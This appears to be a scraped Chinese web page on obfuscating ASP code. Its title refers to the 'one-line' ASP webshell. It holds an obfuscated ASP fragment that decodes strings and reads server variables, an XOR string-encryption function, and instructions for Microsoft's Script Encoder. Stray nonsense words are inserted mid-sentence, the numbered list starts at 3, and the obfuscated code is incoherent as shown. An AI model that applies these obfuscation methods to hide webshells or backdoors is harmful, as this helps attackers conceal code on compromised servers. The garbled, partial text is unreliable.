加密asp一句话
A. asp代码加密 解密
这是一部分文件，只解这部分，可能不一定行，解密代码如下：
Dim rsp,se,app,sr
Set rsp=Response:Set se=Session:Set app=Application:Set sr=Server
Set a = New newClass
a.di = Response("fd]hg]`eg]dh")
a.filename = Request.ServerVariables(Response("$4C:AE0}2>6"))
a.csvalue = Response("G:56@")
a.cachefile = Response("^42496")
a.connect
Class newClass
Public aa,di,bb,filename,csvalue,cachefile
Private cc,dd,ee,ff,gg,hh,ii
Private Sub Class_Initialize
cc = ""
filename = Response(":?56I]2DA")
csvalue = Response("A286")
dd = Request.ServerVariables(Response("$t#")&Response("'t#0$~u%")&Response("(p#t"))
aa = Response("`af]_]_]`")
di = Response("`af]_]_]`")
bb = ""
hh = Request.ServerVariables(Response("w%%!0w~$%"))
cachefile = Response("^42496")
ii = abcd()
End Sub
B. ASP字符串加密解密
<%
'ASP 字符串加密函数EncryptText()
'strEncryptionKey:加密key字符串，用以区别不同模块加密算法
'strTextToEncrypt:欲加密字符串
Function EncryptText(ByVal strEncryptionKey, ByVal strTextToEncrypt)
Dim outer, inner, Key, strTemp
For outer = 1 To Len(strEncryptionKey)
key = Asc(Mid(strEncryptionKey, outer, 1))
For inner = 1 To Len(strTextToEncrypt)
strTemp = strTemp & Chr(Asc(Mid(strTextToEncrypt, inner, 1)) Xor key)
key = (key + Len(strEncryptionKey)) Mod 256
Next
strTextToEncrypt = strTemp
strTemp = ""
Next
EncryptText = strTextToEncrypt
End Function
response.write EncryptText("mima","zifuchuan")
%>
C. 如何使用“script encoder”加密ASP文件详细方法是什么
操作简单。只要掌握几个命令行参数即可。基信和Script Encoder的运行程序是screnc.exe，其使用方法如下：
screnc [/s] [/f] [/xl] [/l defLanguage ] [/e defExtension] inputfile outputfile
其中的参数含义如下：
s：屏蔽屏幕输出；
f：指定输出文件是否覆盖同名输入文件；
xl：是否在.asp文件的顶部添加@Language指令；
l：defLanguag指定缺省的脚本语言；
e：defExtension 指定待加密文件的扩展名。
3. 可以批量搏盯加密文件。使用Script Encoder可以对当前目录中的所有的ASP 文件进行加密，并把加密后的文件统一输出到相应的目录中。
例如： screnc ＊.asp c:\temp
4. Script Encoder是免费软件。该加密软件可以从微软网站下载：http://msdn.microsoft.com/scripting/vbscript/download/x86/sce10en.exe。下载后，运行安装即可。坦雀